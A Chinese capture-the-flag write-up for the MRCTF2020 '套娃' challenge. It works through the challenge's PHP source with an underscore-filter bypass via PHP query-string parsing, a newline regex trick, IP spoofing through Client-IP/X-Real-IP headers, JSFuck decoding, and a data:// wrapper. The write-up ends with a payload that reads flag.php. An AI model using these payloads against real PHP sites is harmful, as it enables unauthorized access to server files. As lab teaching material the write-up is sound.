[MRCTF2020]套娃 php字符串解析绕过,jsfuck编码

进来看到代码

复制代码
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

意思就是我们在url中?后面的东西不能出现下划线和它的url编码,第二个if不能强等于23333又要匹配到23333

字符串解析参考文章:

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

经过尝试这两种可以绕过

b%20u%20p%20t=23333%0A //%20为空格url编码,%0A为回车url编码

b%2eu%2ep%2et=23333%0A //%2e为.

进去过后页面显示ip不对,下面随便用一个伪造127.0.0.1即可

X-Real-IP:

X-Client-IP:

X-Originating-IP:

出现一串jsfuck码,有两种解码方式

第一中F12打开控制台输入即可,如果有警告按提示输入即可解析

第二种去这个网站解析

CoderTab - JSUnFuck - Decode JSFuck Here

post方式传递参数出现源码

bp右键点击通过浏览器请求复制网址浏览器输入即可复制源码

源码:

复制代码
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

代码解析:

change函数的主要功能是将参数$v进行base64解码,并对解码后的结果进行进一步的处理。具体来说,函数使用一个循环迭代字符串$v的每个字符。在每次迭代中,函数将字符转换为ASCII码,然后加上$i乘以2的结果,再将得到的新的ASCII码转换回字符,并将其拼接到一个结果字符串$re中。

最后,函数返回结果字符串$re

if(ip === '127.0.0.1' \&\& file_get_contents(_GET'2333') === 'todat is a happy day' )老办法伪造ip,然后利用data伪协议写入数据传给2333即可

我们要使$_GET'file')的值为flag.php

把change函数逆向一下得到v值为

复制代码
ZmpdYSZmXGI=

PHP脚本:

复制代码
$str = '';
$re = 'flag.php';
for ($i=0;$i<strlen($re);$i++){
    $str .= chr ( ord ($re[$i]) - $i*2 );
}
$str = base64_encode($str);
echo "传入的v的值为:".$str;

改变请求方式进行传值,payload;

?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI

Client-IP: 127.0.0.1

相关推荐
后台模板学习3 小时前
2026最新面试真题:到达用英语怎么说背后的逻辑与源码剖析
面试·职场和发展·php
少陽君5 小时前
Python 并发编程:IO 等待用线程/asyncio,CPU 计算才用进程
数据库·python·php
盛世宏博智慧档案7 小时前
高速 ETC 门架外场机房温湿度远程监测解决方案
服务器·数据库·php·高度·高速·温湿度
祁白_8 小时前
防御引擎绕过方法
笔记·web安全·php·防御引擎
一只鹿鹿鹿10 小时前
信息网络安全建设方案(PPT文件)
大数据·安全·web安全·系统安全·制造
evans在进步10 小时前
IP 网络基础详解:路由、ICMP、NAT、子网与 VLAN
网络·tcp/ip·php
Ivanqhz11 小时前
图是“拓扑 + 类型 + 形状“的世界
算法·决策树·机器学习·php·集成学习
WeiXin_DZbishe11 小时前
基于springboot大学生提问箱系统-计算机毕设【课程设计】72593
javascript·vue.js·spring boot·vscode·python·node.js·php
sbjdhjd12 小时前
在 8 字符、字母数字过滤与 PHP 版本差异下复盘临时文件命令执行链 | (8字符绕过)
android·java·开发语言·安全·web安全·数据挖掘·php
小杨不想秃头12 小时前
信息安全工程师第六章
网络·安全·web安全